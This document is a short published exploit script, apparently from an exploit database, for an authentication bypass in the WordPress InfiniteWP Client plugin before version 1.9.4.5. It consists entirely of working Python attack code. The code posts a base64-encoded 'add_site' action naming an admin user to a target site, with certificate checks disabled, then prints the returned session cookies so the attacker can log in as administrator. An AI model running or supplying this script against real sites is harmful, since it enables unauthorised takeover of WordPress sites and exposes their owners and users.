WordPress InfiniteWP Client Authentication Bypass

`# Exploit Title: Wordpress Plugin InfiniteWP Client 1.9.4.5 - Authentication Bypass  
# Date: 2020-1-16  
# Exploit Author: Raphael Karger  
# Vendor Homepage: https://infinitewp.com/  
# Version: InfiniteWP Client < 1.9.4.5  
  
#!/usr/bin/python3  
  
import requests  
import json  
import argparse  
import base64  
import json  
import urllib3  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
def exploit(site, username):  
json_info = {"iwp_action":"add_site","params":{"username": username}}  
try:  
return requests.post(site, timeout=5, verify=False,  
headers={"User-Agent" : "raphaelrocks"},  
data="_IWP_JSON_PREFIX_{}".format(base64.b64encode(json.dumps(json_info).encode("utf-8")).decode("utf-8"))  
)  
except Exception as e:  
print("[-] HTTP Exploit Error: {}".format(e))  
return False  
  
if __name__ == "__main__":  
parser = argparse.ArgumentParser()  
parser.add_argument("-n", "--username", dest="username", help="Username of admin, default is admin", default="admin")  
parser.add_argument("-u", "--url", dest="url", help="Root URL of Site")  
args = parser.parse_args()  
site_exploit = exploit(args.url, args.username)  
if site_exploit and site_exploit.status_code == requests.codes.ok:  
cookie_string = "; ".join([str(x)+"="+str(y) for x,y in site_exploit.cookies.items()])  
if cookie_string:  
print("[+] Use Cookies to Login: \n{}".format(cookie_string))  
exit(0)  
print("[-] Exploit Failed")  
`